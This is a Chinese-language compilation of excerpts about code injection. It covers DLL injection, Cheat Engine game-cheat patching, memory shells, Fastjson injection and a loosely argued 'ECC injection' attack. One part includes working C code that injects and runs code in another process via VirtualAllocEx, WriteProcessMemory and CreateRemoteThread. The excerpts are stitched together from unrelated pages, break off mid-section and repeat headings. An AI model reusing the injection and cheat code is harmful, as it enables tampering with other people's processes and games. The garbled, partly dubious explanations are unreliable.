高级内存代码注入技术
extreme injector教学-概述说明以及解释
extreme injector教学-概述说明以及解释1.引言1.1 概述:Extreme Injector是一款常用的注入工具,主要用于向程序中注入动态链接库(DLL)文件,以实现在程序运行过程中的功能扩展和修改。
在软件开发、游戏修改和系统优化等领域都有广泛的应用。
本文将介绍Extreme Injector的基本功能和使用方法,以帮助读者更好地了解和掌握这一工具。
同时,文章也会提供一些安全注意事项,帮助读者在使用Extreme Injector时避免一些可能的风险和问题。
通过学习本文,读者将能够掌握使用Extreme Injector的技巧,进一步深入了解软件注入技术的原理和应用,同时也会引导读者积极学习和实践,发挥Extreme Injector在个人、学习和专业领域的作用。
1.2 文章结构文章结构部分的内容应该包括介绍文章整体的架构和组成部分,以便读者了解文章的逻辑顺序和内容安排。
在这个extreme injector教学文章中,文章结构部分可以描述为:文章结构部分将介绍本文的整体架构,包括引言、正文和结论三个主要部分。
在引言部分,会总结文章的背景和目的,引导读者对文章主题有一个初步的了解。
正文部分是文章的核心内容,将详细介绍什么是extreme injector以及如何使用该软件。
安全注意事项部分将提供读者在使用软件时需要注意的方面,保障他们的安全和合法性。
在结论部分,将总结本文介绍的内容,强调extreme injector的作用和重要性,同时鼓励读者进一步学习和实践,提高技术水平。
最后,强调安全合理使用软件的重要性,为读者提供正确的指导和见解。
整体上,文章结构将引导读者系统地了解和学习这一主题,使他们有一个清晰的逻辑框架,促进知识的传递和交流。
1.3 目的本文的目的旨在介绍和教授读者如何正确地使用extreme injector软件。
通过深入探讨其功能和操作方法,帮助读者了解该工具的作用和用途,进而提高他们的使用技能和安全意识。
CE代码注入
0045ff1c - 8b 05 40 ff 45 00 mov eax, [0045ff40] (2)
0045ff22 - c7 00 88 13 00 00 mov [eax], 00001388 (3)
0045ff28 - 58 pop eax (4)
最后再补充一些内容:
一,上面这个代码注入的过程,其实就是让程序转到我们自己的代码,并且把当前保存数值的地址放到我们指定的静态地址0045FF40上,然后再跳回去执行。要注意的是它实现的功能仅仅是把变化后的数值地址给我们放到一个我们知道的,固定的内存地址,其实这样做离一个外挂还差很远,不过如果你要做对付 DMA的游戏的外挂的话,这个代码注入就是最基本的东西,从某种意义上说,它就是变动态为静态,让使用DMA的游戏也能象静态内存分配的游戏一样容易处理。
POKE 004560cf e9 3c 9e 00 00
这样就完成了代码注入了。很简单是吧?呵呵。
四,关于代码注入的地方,上面这个例子我们是选择注入到TUT改变数值的时候,也就是说当程序每次改变这个数值的时候就把它所在的位置放到我们指定的位置上。为什么不是在改变地址的时候呢?因为一般来说在游戏中,改变数值的时候比较多,而改变内存位置的时候相对少些,一般只是在重新运行游戏或重新开始游戏时才发生。所以,改变数值的时候比较多,我们比较容易找到这条指令,而且也因此让我们指定的这个地址更新更及时。而缺点只有一个就是当数值不改变的时候,我们也就读不到地址了。当然如果你能找到程序改变数值地址的那条指令,在那里做代码注入也是完全可以的。
004560d4 8b 80 10 03 00 00 mov eax, [eax+00000310]
dll注入原理
DLL注入原理简介在计算机领域中,DLL(Dynamic Link Library,动态链接库)是一种包含函数、数据和资源的可执行文件。
DLL注入是一种技术,它允许一个进程将其代码注入到另一个进程的地址空间中,以便在目标进程中运行自定义代码。
DLL注入在软件开发、系统调试、恶意软件分析等领域具有重要的应用。
DLL注入的原理DLL注入的基本原理是将一个DLL文件注入到目标进程的地址空间中,并强制目标进程加载并执行该DLL文件中的代码。
DLL注入一般分为以下几个步骤:1. 选择目标进程在进行DLL注入之前,首先需要选择一个目标进程,即将要注入的进程。
目标进程可以是任何正在运行的进程,但需要注意的是必须具有足够的权限来修改目标进程的地址空间。
2. 创建远程线程在注入DLL之前,需要在目标进程中创建一个远程线程。
远程线程是在一个进程的上下文中运行的线程,可以通过API函数创建。
3. 加载DLL文件将DLL文件加载到目标进程的地址空间中。
可以使用API函数LoadLibrary来实现DLL文件的加载。
这个函数将返回DLL模块的基地址,即加载到目标进程的内存中的DLL的起始地址。
4. 获取加载的DLL模块句柄通过GetModuleHandle函数获取之前加载的DLL模块的句柄,以便后续调用DLL模块中的函数。
5. 获取函数地址通过GetProcAddress函数获取DLL模块中需要调用的函数的地址。
可以通过函数名或者函数的序号来查找函数地址。
6. 执行注入代码在远程线程中执行注入代码,即调用DLL模块中的函数。
通过在远程线程的上下文中设置指令指针为DLL模块中函数的地址,从而实现注入。
7. 清理注入在注入代码执行完毕后,需要进行注入的清理工作。
可以通过远程线程发送指令给目标进程,使之从其地址空间中卸载已经注入的DLL模块。
DLL注入的技术实现DLL注入可以通过各种技术手段来实现,下面介绍几种常用的DLL注入技术:1. LoadLibrary注入LoadLibrary注入是一种常见的DLL注入技术,它通过调用目标进程的LoadLibrary函数来加载DLL文件。
代码注入的原理
代码注入的原理代码注入是指通过向原本的代码中插入恶意代码来改变程序的行为或获取非法访问权限的一种攻击手段。
它是网络安全领域中较为常见的一种攻击方式之一,攻击者通过利用程序中的漏洞,将自己构建的恶意代码注入到目标软件中,从而实现对目标软件的控制。
代码注入攻击的主要原理是利用程序中的漏洞,使得攻击者能够将恶意代码插入到目标软件的执行流程中。
代码注入的原理可以分为以下几个方面:1. 漏洞利用:代码注入攻击通常利用程序中存在的各种漏洞,例如缓冲区溢出、SQL注入等。
攻击者通过构造恶意输入,超出程序预设的内存边界或执行代码的上下文,从而将恶意代码注入到目标软件中。
2. 动态加载:代码注入攻击中常用的一种方式是通过程序运行时的动态加载功能,将恶意代码注入到已经运行的进程中。
攻击者利用动态加载的功能,将自己构建的代码片段加载到目标软件的内存中,然后执行其中的恶意代码。
3. 脚本注入:许多应用程序支持脚本语言的执行,例如JavaScript、PHP等。
攻击者可以通过向脚本中注入恶意代码来改变程序原本的执行逻辑。
例如,在网页中插入恶意的JavaScript代码,可以以篡改网页内容、窃取用户敏感信息等方式进行攻击。
4. 执行流程篡改:代码注入攻击有时会利用目标软件的执行流程来实现恶意目的。
攻击者通过篡改程序的执行流程,使其执行到恶意代码来达到攻击的目的。
例如在目标软件中插入特定的函数跳转指令,使得程序在执行过程中跳转到恶意代码的入口点。
5. 数据格式攻击:代码注入攻击中的一种常见方式是通过修改输入数据格式来实现注入攻击。
攻击者构造特定的输入数据,通过修改数据结构、协议等方式,实现对程序的控制。
例如,通过修改网络传输的数据包,篡改其中的数据内容,使得目标软件在接收数据时解析错误,进而执行到恶意代码。
代码注入攻击的原理主要是通过利用程序中的漏洞将恶意代码注入到目标软件中。
攻击者通过构造恶意输入,超出程序的预设边界或修改程序的执行流程,从而实现对目标软件的控制。
内存马利用方式
内存马利用方式
内存马利用方式指的是黑客利用恶意软件将其植入到受害者的
计算机内存中,并在其中运行,从而攻击受害者的计算机系统。
内存马利用方式主要有以下几种:
1. 内存注入:黑客通过代码注入技术,将恶意代码注入到受害者的进程内存中,从而达到攻击的目的。
这种方式通常需要先获取目标进程的内存地址,然后再进行注入。
2. 内存替换:黑客通过替换系统中的某些系统 DLL 文件,将恶意 DLL 文件注入到内存中,从而达到攻击的目的。
这种方式需要黑客具有高超的技术水平,因为替换 DLL 文件会对整个系统造成影响。
3. 内存漏洞利用:黑客通过利用系统中存在的内存漏洞,将恶意代码注入到内存中,并执行攻击操作。
这种方式需要黑客具有深入了解操作系统和内存结构的技术能力。
总之,内存马利用方式是黑客攻击计算机系统的常用手段之一。
为了保护自己的计算机安全,用户应该经常更新系统补丁,使用杀毒软件和防火墙等安全软件,以及定期备份重要数据。
- 1 -。
dll注入应急案例
dll注入应急案例近年来,随着网络攻击手法的不断更新和演进,DLL注入攻击作为一种有效的攻击技术不断被黑客和恶意分子滥用。
本文将通过一则DLL注入应急案例,探讨该攻击技术的特点、危害性以及应对措施,以提高读者对这一威胁的认识和应对能力。
案例描述某公司近期发现其内部计算机系统出现异常情况,怀疑系统被黑客入侵并进行恶意活动。
经过调查,安全团队发现系统中的某个进程被恶意DLL注入修改,从而导致黑客可以远程操控该进程,并获取系统权限。
DLL注入攻击原理DLL注入攻击是指黑客将恶意动态链接库(DLL)注入到目标进程的内存空间中,以获取目标进程的控制权,从而进行恶意行为。
攻击者通常通过以下几种方式进行DLL注入:1. 远程线程注入:攻击者通过远程线程注入的方式,将恶意DLL 注入到目标进程所在的远程线程中,实现攻击目的。
2. 进程空间注入:攻击者通过进程空间注入的方式,将恶意DLL 注入到目标进程的内存空间中,绕过系统的安全机制。
3. 代码注入:攻击者通过修改目标进程的代码,将DLL加载并执行,实现攻击目的。
DLL注入攻击的危害性DLL注入攻击具有以下危害性:1. 获取系统权限:通过DLL注入攻击,黑客可以获取目标进程的控制权,进而获取系统权限,导致系统完全被黑客控制。
2. 数据泄露:黑客可以利用DLL注入攻击,获取系统中的敏感信息,如用户账号、密码等,进而进行个人信息泄露、商业机密窃取等违法行为。
3. 恶意启动:黑客可以利用DLL注入攻击,在目标进程中启动恶意代码,如勒索软件、恶意挖矿程序等,进一步损害系统正常运行。
应对措施针对DLL注入攻击,我们可以采取以下措施进行应对:1. 加强系统安全性:及时安装系统补丁,强化系统防火墙和安全策略,减少系统漏洞。
2. 使用可信的安全软件:选择正规的安全软件,如防病毒软件、入侵检测系统等,并及时更新和升级。
3. 强化访问控制:限制用户权限,合理划分角色,及时删除不必要的用户账号,防止恶意用户进行攻击。
内存ecc注入原理
内存ecc注入原理1. 介绍内存Error Correcting Code (ECC)注入是一种攻击技术,通过在计算机内存中注入错误来干扰其正常操作。
ECC是一种在内存中检测和纠正错误的机制,它可以帮助保证计算机系统的可靠性和稳定性。
然而,攻击者可以利用这个机制中的漏洞,通过特定的方法注入错误,从而导致系统崩溃或者执行未经授权的代码。
2. ECC原理ECC是一种纠错码技术,它通过在内存中存储冗余信息来检测和纠正错误。
在计算机内存中,每个字节都有一个对应的ECC码字。
这个ECC码字包含了原始数据的冗余信息,以及用于纠正错误的算法。
ECC通过在内存中添加冗余信息来检测和纠正错误。
冗余信息通常是通过计算原始数据的校验和或者编码算法生成的。
当内存中的数据发生错误时,计算机会根据ECC码字中的冗余信息来定位错误的位置,并尝试纠正错误。
3. ECC注入攻击的原理攻击者可以通过各种途径来注入内存中的错误。
这种注入错误的方式可以是物理攻击,也可以是软件攻击。
攻击者可以通过破坏内存电路或者修改内存内容来实现ECC注入攻击。
3.1 物理攻击物理攻击是一种直接修改内存电路的方式。
攻击者可以通过使用高能电磁波、电磁激光或者其他物理手段来改变内存电路的状态,从而导致ECC无法正确检测和修复错误。
物理攻击的难度较大,需要攻击者具备较高的技术水平和专业设备。
但是一旦攻击成功,后果将会非常严重,可能导致系统崩溃或者数据丢失。
3.2 软件攻击软件攻击是一种通过修改内存内容来实现ECC注入攻击的方式。
攻击者可以通过软件漏洞、恶意软件或者其他手段来修改内存中的数据,从而干扰ECC的正常操作。
软件攻击的难度相对较低,攻击者只需要找到合适的漏洞点或者设计恶意软件即可。
然而,由于ECC注入攻击的影响范围较大,被攻击的系统可能会崩溃或者遭受损失,因此软件攻击对于受害者来说同样是严重的问题。
4. ECC注入攻击的危害ECC注入攻击可能会导致以下几个方面的问题:4.1 系统崩溃ECC注入攻击可以导致系统内存中的数据出现错误,从而导致系统崩溃。
windows代码注入方法
windows代码注入方法(实用版3篇)《windows代码注入方法》篇1Windows 代码注入是指将一段代码注入到另一个程序的运行过程中,从而实现对该程序的控制和修改。
这种方法通常被用于病毒、木马和恶意软件中,但也可以用于一些合法的用途,例如代码调试和自动化测试。
下面是一些Windows 代码注入的方法:1. 代码注入到进程的内存空间中:这种方法可以将代码注入到正在运行的进程的内存空间中,从而使代码能够执行。
可以使用一些工具,例如DebugBreak、OllyDbg 和IDA Pro 等来实现代码注入。
2. 代码注入到进程的代码段中:这种方法可以将代码注入到进程的代码段中,从而使代码能够执行。
可以使用一些工具,例如Metasploit 和Msfvenom 等来实现代码注入。
3. 代码注入到系统的驱动程序中:这种方法可以将代码注入到系统的驱动程序中,从而使代码能够执行。
可以使用一些工具,例如Driver Studio 和Windows Driver Kit 等来实现代码注入。
4. 代码注入到Windows 注册表中:这种方法可以将代码注入到Windows 注册表中,从而使代码能够执行。
可以使用一些工具,例如Regedit 和PowerShell 等来实现代码注入。
代码注入是一种危险的技术,如果不小心使用,可能会导致系统崩溃或被攻击。
《windows代码注入方法》篇2Windows 代码注入是指将一段代码注入到另一个进程的内存空间中,从而实现对该进程的控制和操作。
这种方法通常被用于木马、病毒等恶意软件中,但也可以用于合法的软件开发和系统工具中。
以下是一些Windows 代码注入的方法:1. 创建远程线程:通过CreateRemoteThread 函数创建一个远程线程,将代码注入到另一个进程的内存空间中,并启动线程执行。
这种方法可以使用CreateProcess 函数启动一个新进程,然后使用CreateRemoteThread 函数将代码注入到该进程中。
常见的十种代码注入技术
常见的⼗种代码注⼊技术Process injection is a widespread defense evasion technique employed often within malware and fileless adversary tradecraft, and entails running custom code within the address space of another process. Process injection improves stealth, and some techniques also achieve persistence. Although there are numerous process injection techniques, in this blog I present ten techniques seen in the wild that run malware code on behalf of another process. I additionally provide screenshots for many of these techniques to facilitate reverse engineering and malware analysis, assisting detection and defense against these common techniques.进程注⼊是⼀种⼴泛使⽤的躲避检测的技术,通常⽤于恶意软件或者⽆⽂件技术。
其需要在另⼀个进程的地址空间内运⾏特制代码,进程注⼊改善了不可见性,同时⼀些技术也实现了持久性。
尽管⽬前有许多进程注⼊技术,但在这篇⽂章中,我将会介绍⼗种在野发现的,在另⼀个程序的地址空间执⾏恶意代码的进程注⼊技术,并提供这些技术应⽤的截图,以便于逆向⼯程和恶意软件分析,然后协助检测并防御这些进程注⼊技术。
内存ecc注入原理
内存ecc注入原理内存ECC(Error Correcting Code)注入原理1. 什么是内存ECC?内存ECC是一种错误纠正码,用于检测和修复内存中的位错误。
在计算机系统中,内存可能因为各种原因导致数据错误,例如电压干扰、位翻转或故障等。
内存ECC能够检测这些错误,并通过纠正码将数据还原到正确的状态。
2. 内存ECC注入的作用内存ECC注入是一种测试技术,用于验证内存ECC的正确性和可靠性。
通过有意注入错误数据,我们可以评估内存ECC的纠错能力和恢复性能。
这对于保证计算机系统的稳定性和可靠性非常重要。
3. 内存ECC注入原理内存ECC注入的原理基于两个关键概念:Hamming距离和纠错码。
- Hamming距离:是一种衡量两个等长字串之间差异的度量方式。
对于两个二进制字串,Hamming距离是指在相同位置上不同的位数。
对于字串10101和11100,它们的Hamming距离为3,因为有3位不同。
- 纠错码:是一种用来检测和纠正内存错误的编码方式。
内存ECC通常使用海明码(Hamming Code)作为纠错码。
它通过在数据中添加额外的位来记录信息的冗余度,以便在数据错误时进行纠正。
内存ECC注入的步骤如下:Step 1: 确定测试数据长度和位置我们需要确定要注入错误的数据长度和位置。
通常,我们会选择随机或特定的区域信息来注入错误,以覆盖整个内存区域信息范围。
Step 2: 生成错误数据接下来,我们根据要注入的错误类型,生成相应的错误数据。
可以是位翻转、位插入或位删除等方式。
Step 3: 计算海明码使用内存数据和生成的错误数据,计算相应的海明码。
海明码包括数据位和校验位,校验位用于检测和纠正错误。
Step 4: 注入错误数据将生成的错误数据注入到内存中指定的位置。
可以通过直接访问内存或通过特定的调试工具来实现。
Step 5: 检测和纠正错误内存ECC会在读取内存数据时自动检测和纠正错误。
通过校验位的比较,可以确定哪些数据位发生了错误,并进行纠正。
WINDOWS黑客基础(3):注入代码
WINDOWS⿊客基础(3):注⼊代码有使⽤过外挂的朋友应该知道,我们在玩游戏的时候,有很多辅助功能给你使⽤,⽐如吃药,使⽤物品等功能,这个时候我们就是使⽤注⼊代码的技术,简单的来将就是我们让另外⼀个进程去执⾏我们想让它执⾏的代码,这中间的关键函数是CreateRemoteThreadHANDLE WINAPI CreateRemoteThread(_In_ HANDLE hProcess,_In_ LPSECURITY_ATTRIBUTES lpThreadAttributes,_In_ SIZE_T dwStackSize,_In_ LPTHREAD_START_ROUTINE lpStartAddress,_In_ LPVOID lpParameter,_In_ DWORD dwCreationFlags,_Out_ LPDWORD lpThreadId);CreateRemoteThread的参数跟CreateThread的参数差不多,多出来的hProcess是我们要对其操作的进程HANDLE,在早期的WINDOWS 版本CreateThread确实是使⽤CreateRemoteThread实现的,就是把hProcess传⼊我们⾃⼰的进程HANDLECreateRemoteThread的功能就是在指定的进程创建⼀个线程,这个线程运⾏我们指定的函数,看起来很简单,但是有⼀个问题,就是虚拟内存导致的问题⼤家都知道,在WINDOWS下是使⽤虚拟内存来进⾏数据管理的,每个进程都有⾃⼰独⽴的地址空间,假设进程A准备向进程B注⼊⼀段代码,他要让进程B执⾏他进程空间的函数InjectionCode(),这个函数在进程A的地址空间地址为0X3000现在我们开始进⾏代码注⼊,利⽤CreateRemoteThread我们告诉B进程,请执⾏虚拟内存地址为0X3000的代码,这个时候B进程该⼲什么呢??B进程收到这个命令后,他很听话地创建了线程,然后乖乖得CALL了0X3000的内容,请注意,现在B进程CALL的是它⾃⼰内存空间内0X3000的代码⽽不是A进程的,那么现在B进程的0X3000是什么内容??没⼈知道,运⽓好的话说不定真的有段代码给你执⾏,运⽓不好你⾃⼰也不知道会发⽣什么事情,这就跟你进错了学⽣公寓⼀样,同样号码的房间,运⽓好是校花的房间,运⽓不好就是如花的房间那么我们怎么才能让进程去执⾏我们对应的代码呢??我们只要在B进程内开辟⼀块内存,然后把我们的代码或者数据复制进去,再执⾏对应的代码就可以了,我们需要⽤到这⼏个函数:LPVOID WINAPI VirtualAllocEx(_In_ HANDLE hProcess,_In_opt_ LPVOID lpAddress,_In_ SIZE_T dwSize,_In_ DWORD flAllocationType,_In_ DWORD flProtect);BOOL WINAPI WriteProcessMemory(_In_ HANDLE hProcess,_In_ LPVOID lpBaseAddress,_In_ LPCVOID lpBuffer,_In_ SIZE_T nSize,_Out_ SIZE_T *lpNumberOfBytesWritten);这两个函数跟我们平常⽤的函数都差不多,只是多了个进程的选项,⼤概步骤如下图:现在我们将实际操作⼀下:下⾯是我们要注⼊的程序,在这之前,我们最好把基地址固定掉,这样我们不会每次重新运⾏程序的时候函数的地址都会改变,在VS2008中,项⽬属性->链接器->⾼级,把随机基址和固定基址选择默认值void PrintMsg(const char *msg){printf("ThreadI D:%d Msg:%s\n",GetCurrentThreadId(),msg);}int main(void){printf("%d\n",GetCurrentThreadId());printf("Print Msg Function Address:%X\n",PrintMsg);system("pause");}假设我们的PrintMsg的地址是0x401000,现在我们需要往这个进程⾥⾯注⼊⼀段代码,让她可以⾃动调⽤PrintMsg这个函数1static const char *msg = "INJECTION CODE SUCESS\n";2static const unsigned int PARAM_SIZE = 100;3static const unsigned int EXE_SIZE = 500;456void InjectionCode(const char *msg)7 {8 __asm9 {10 push eax11 push msg12 mov eax,0x40100013 call eax //因为在我们要注⼊的进程中,PrintMsg位于0x401000这个位置14 pop eax15 pop eax16 }17 }18int main(void)19 {20 HANDLE hProcess = OpenProcessByProcessNmae("main.exe"); //这个函数在上⼀章2122if (hProcess == INVALID_HANDLE_VALUE)23 {24 printf("error open process %d\n",GetLastError());25return1;26 }27 //⼀定要把函数的代码和msg写⼊要注⼊的进程,否则会发⽣位置错误(⼀般是崩溃)28 LPVOID RemoteExe = VirtualAllocEx(hProcess,NULL,EXE_SIZE,MEM_COMMIT,PAGE_EXECUTE);29 LPVOID RemoteParam = VirtualAllocEx(hProcess,NULL,PARAM_SIZE,MEM_COMMIT,PAGE_READWRITE);3031 SIZE_T WriteCount = 0;32int ret = 0;33 ret = WriteProcessMemory(hProcess,RemoteParam,msg,PARAM_SIZE,&WriteCount);34 ret = WriteProcessMemory(hProcess,RemoteExe,InjectionCode,0x13,&WriteCount);3536 HANDLE hThread = CreateRemoteThread(hProcess,NULL,0,(LPTHREAD_START_ROUTINE)RemoteExe,RemoteParam,0,NULL);37 WaitForSingleObject(hThread,INFINITE);38 }运⾏上⾯的程序,我们就可以在另外⼀个进程中创建⼀个线程,并且这个线程将会输出该线程的ID以及我们要输出的消息上⾯的程序还有⼏个要注意的:1.资源竞争由于是创建线程执⾏相应代码所以肯定会有资源竞争的问题,以后要写代码⼀定要注意,在本例中我忽略了这个问题2. 关于代码的长度问题在本例中,我们的代码长度是0X13,但是要知道,汇编代码的长度随便懂⼀下就可能更改,可能因为⼀个指令,也可能因为⼀个参数,所以我们需要时刻注意这点,关于代码长度怎么测量,我是看了反汇编的代码后计算的,这个⽅法⽐较准确,也可以⼤概估计下,只要能把代码复制完整就可以,超出也没关系,只要不超出申请的内存⼤⼩就可以3.记得备份我们使⽤的寄存器这个⼗分重要,⼀旦你更改了寄存器,如果没有后⾯没有恢复,可能会导致⼀系列错误,特别是ESP,EBP等重要的寄存器3.注⼊代码多次调⽤系统DLL中的函数<<WINDOWS核⼼编程>>⾥⾯说,系统的DLL都会加载到⼀个固定的地址,⽐如VirtualAllocEx,⼀般我们在A进程和B进程的时候,call或者jmp的地址都是⼀样的,所以⼀般我们如果调⽤的是系统函数,⼀般我们不需要担⼼,但是,昨天我想到了⼀个问题,⽐如我们进程A要命令进程B调⽤CreateToolhelp32Snapshot这个系统API,现在我们假设CreateToolhelp32Snapshot这个API在单独的TLHELP32.DLL⾥⾯(实际上这个在KERNEL32.DLL⾥⾯,所有进程都会加载这个DLL,所以不需要担⼼下⾯的问题,这个只是举例),操作系统在加载DLL的时候,会统⼀把这个API的地址映射到虚拟内存的0XFF40100的地址,按照我们原来的想法进程B会⾃⼰跑去call 0XFF40100这个地址。
计算机网络中的恶意代码分析技术
计算机网络中的恶意代码分析技术恶意代码是一种旨在破坏或灌入广告、收集私人信息、远程控制系统或留下后门以进行更多攻击的计算机程序。
由于恶意代码可通过电子邮件、社交媒体、在线广告等各种途径传播,因此,了解恶意代码分析技术对计算机网络安全至关重要。
本文将介绍计算机网络中的恶意代码分析技术,包括静态分析、动态分析和行为分析。
一、静态分析静态分析是在不运行恶意代码的情况下进行的。
它包括文件分析和代码反混淆技术。
1.文件分析要对文件进行分析,需要使用反病毒软件或黑客工具进行扫描。
反病毒软件可以自动分析文件并查找其中任何恶意代码的迹象。
黑客工具则可以手动检查文件中的代码并查找针对恶意代码的漏洞。
反病毒软件和黑客工具通常包含了恶意软件签名库,它们会与该库中的签名进行比对,并查看这些文件与哪些恶意代码相匹配。
这一技术通常非常高效,几乎可以检测出所有已知的恶意软件。
2.代码反混淆技术代码反混淆技术的目的是使混淆恶意代码的操作更加困难。
它可以采用反汇编器将机器码还原为可读的源代码,以及把针对代码特定的变异技术的解码器分配给受感染的程序。
这些技术可以减少恶意代码对恶意用户的可见性并加强恶意代码的保密性。
二、动态分析动态分析是在运行恶意代码的过程中进行的。
它包括行为分析和代码注入技术。
1.行为分析行为分析旨在更全面地了解恶意软件运行的活动和尝试。
它可以通过拦截HTTP请求、监视文件系统活动、网络流量捕获和对操作系统的监视来完成。
行为分析技术可以捕获恶意软件的行为,并通过数据包捕获、系统调用分析、内存分析和日志分析等方法分析受感染的计算机系统。
这种技术可以帮助专业人员了解恶意代码如何操纵受感染的计算机系统。
2.代码注入技术代码注入技术旨在向恶意软件注入代码,从而追踪其行为。
这种技术在特定情况下非常有用。
例如,当静态分析无法完全确定恶意代码的行为时,动态分析就可以通过注入代码在恶意代码中运行该控制电脑的命令,以追踪其行为。
三、行为分析行为分析是一种更加细致的技术,旨在对恶意软件的细节进行分析。
dll注入原理
dll注入原理DLL注入是一种常见的技术,它可以将一个动态链接库(DLL)注入到另一个进程中,从而实现一些特殊的功能。
这种技术在很多领域都有应用,比如游戏外挂、反病毒软件、系统监控等。
DLL注入的原理比较简单,它利用了Windows操作系统的一些特性。
在Windows中,每个进程都有自己的地址空间,其中包括代码段、数据段、堆栈等。
当一个进程需要调用一个外部函数时,它会在自己的地址空间中寻找这个函数的地址,并跳转到这个地址执行代码。
而DLL注入就是将一个DLL文件加载到目标进程的地址空间中,并在其中寻找需要调用的函数地址,然后将程序的执行流程转移到这个地址上,从而实现特定的功能。
具体来说,DLL注入的过程可以分为以下几个步骤:1. 打开目标进程:首先需要打开目标进程,获取它的句柄,以便后续的操作。
2. 分配内存空间:在目标进程中分配一块内存空间,用于存放DLL文件的路径和名称。
3. 写入DLL路径:将DLL文件的路径和名称写入到目标进程的内存空间中。
4. 加载DLL文件:在目标进程中调用LoadLibrary函数,将DLL文件加载到目标进程的地址空间中。
5. 获取函数地址:在目标进程中调用GetProcAddress函数,获取需要调用的函数的地址。
6. 注入代码:将需要执行的代码注入到目标进程的地址空间中,并将程序的执行流程转移到需要调用的函数地址上。
7. 清理工作:完成注入后,需要清理分配的内存空间,并关闭目标进程的句柄。
需要注意的是,DLL注入是一种比较高级的技术,需要具备一定的编程能力和对操作系统的深入了解。
同时,由于DLL注入可以被用于一些非法的用途,比如病毒攻击和游戏作弊,因此在实际应用中需要谨慎使用,以免造成不必要的损失。
总之,DLL注入是一种非常有用的技术,它可以为我们带来很多便利和创新。
但是在使用时需要注意安全和合法性,以免给自己和他人带来不必要的麻烦。
漏洞利用中的代码注入技术
漏洞利用中的代码注入技术随着信息安全一天比一天受到重视,漏洞利用技术也一天比一天多样化。
其中,代码注入技术一直是黑客攻击的重要利器之一。
本文将详细介绍漏洞利用中的代码注入技术。
一、代码注入技术简介代码注入技术是一种将恶意代码注入到目标程序中运行的攻击技术。
它的原理是通过找到目标程序中的漏洞,将恶意代码注入到程序运行的内存中,从而达到破坏程序运行、窃取数据等目的。
代码注入技术通常分为两种类型:静态注入和动态注入。
静态注入是将恶意代码直接插入到目标程序的代码中,然后再重新编译成可执行文件。
这种方式很容易被检测到,因为目标程序的哈希值和数字签名等都会发生变化,容易被杀毒软件等防护系统发现。
因此,静态注入技术已经逐渐淡出了攻击者的视野。
而动态注入则是将恶意代码注入到目标程序的运行时内存中,从而避开了防护系统的检测。
这种方法的优点是可以不修改被攻击程序的代码,从而减少被发现的概率,增加攻击成功的可能性。
但需要注意的是,动态注入技术需要攻击者具备一定的程序运行原理和内存结构的了解,操作起来也比较复杂。
二、常见代码注入技术在漏洞利用中,常见的代码注入技术有以下几种:1. DLL注入DLL注入是目前最为常见的动态代码注入技术。
它的原理是通过创建一个新的进程,并向其中注入一个恶意DLL文件,然后在新进程中调用该DLL文件中的函数。
这种方式可以欺骗程序运行时的检测机制,从而避免被发现。
2. Shellcode注入Shellcode注入是利用目标程序的漏洞,在目标程序中注入一段跳转指令,通过这个指令跳转到恶意的Shellcode代码。
这种方式需要攻击者找到目标程序的漏洞并编写相应的Shellcode代码进行注入。
3. Heap Spray注入Heap Spray注入是基于堆溢出漏洞的一种代码注入技术。
攻击者通过利用程序中的堆溢出漏洞,注入一段精心构造的代码到程序中。
这种方法需要攻击者具备一定的编程技能和对程序内存结构的了解。
内存ecc注入原理的重新解释
内存ecc注入原理的重新解释标题:重新解释内存ECC注入原理,揭示其重要性和影响简介:内存ECC(Error Correcting Code)注入是一种能够检测和纠正内存中发生错误的技术。
本文将重新解释内存ECC注入的原理,并讨论其在计算机系统中的重要性和影响。
引言:计算机系统中内存起着至关重要的作用,然而,由于硬件或软件问题,内存中的错误可能会导致系统不可预测的行为和数据损坏。
内存ECC注入技术通过引入纠错码来检测并自动纠正这些内存错误,从而提高了系统的可靠性和稳定性。
本文将详细解释内存ECC注入的原理,帮助读者更好地理解其工作原理和功能。
正文:一、内存错误和其对计算机系统的影响内存错误是指在计算机系统中由硬件故障、电磁干扰或辅助设备错误引起的内存数据损坏。
这些错误可能导致系统崩溃、数据丢失或无法预测的行为。
内存错误的影响不仅限于单个计算机系统,还可能对整个网络或服务器产生重大影响。
因此,保证内存的可靠性显得至关重要。
二、内存ECC注入原理的基本概念内存ECC注入技术通过在内存中引入纠错码(Error Correcting Code)来改进内存数据的可靠性。
纠错码是一种特殊的编码方式,通过在数据中添加冗余位来检测和恢复错误。
内存ECC注入使用的常见纠错码包括Hamming码、BCH码和RS码等。
三、内存ECC注入的工作原理内存ECC注入技术主要包括两个步骤:错误检测和错误纠正。
在错误检测阶段,纠错码会对数据进行编码,并将编码后的结果存储在内存中。
在错误纠正阶段,纠错码会根据编码规则对内存中的数据进行检测和纠正,以保证数据的完整性和正确性。
四、内存ECC注入的重要性与优势内存ECC注入技术在计算机系统中具有以下重要性和优势:1. 错误检测能力:内存ECC注入技术能够及时检测到内存中发生的错误,从而避免了错误的传播和蔓延。
2. 错误纠正能力:内存ECC注入技术能够自动纠正内存中发生的错误,提高了系统的可靠性和稳定性。
fastjson内存马注入原理
Fastjson是一款Java语言编写的高性能JSON解析库,它可以将Java对象转换为JSON格式的字符串,也可以将JSON 格式的字符串转换为Java对象。
然而,由于Fastjson在解析JSON字符串时存在一些安全漏洞,攻击者可以利用这些漏洞来注入恶意代码,从而实现内存马注入。
Fastjson内存马注入的原理如下:1. 反序列化漏洞:Fastjson在解析JSON字符串时,会将JSON字符串中的键值对映射到Java对象的属性上。
攻击者可以构造一个恶意的JSON字符串,其中的某个键值对的值是一个恶意的Java代码。
当Fastjson解析这个JSON字符串时,会将恶意代码反序列化为Java对象,并执行其中的恶意操作。
2. 自动类型转换漏洞:Fastjson在解析JSON字符串时,会根据JSON字符串中的值的类型自动进行类型转换。
攻击者可以构造一个恶意的JSON字符串,其中的某个值是一个Java 类的全限定名。
当Fastjson解析这个JSON字符串时,会将该值转换为对应的Java对象,并执行其中的恶意操作。
攻击者可以通过以上两种方式,将恶意代码注入到Fastjson的解析过程中,从而实现内存马注入。
一旦恶意代码被执行,攻击者就可以控制被攻击的系统,进行各种恶意操作,比如远程命令执行、文件读写等。
为了防止Fastjson内存马注入的攻击,可以采取以下措施:1. 更新Fastjson版本:Fastjson团队会不断修复漏洞,推出新的版本。
及时更新Fastjson到最新版本,可以避免已知的漏洞。
2. 配置安全策略:Fastjson提供了一些安全策略的配置选项,可以限制反序列化的类和属性,避免恶意代码的执行。
3. 使用白名单机制:在反序列化时,只允许特定的类进行反序列化,其他类将被拒绝。
这样可以限制恶意代码的执行。
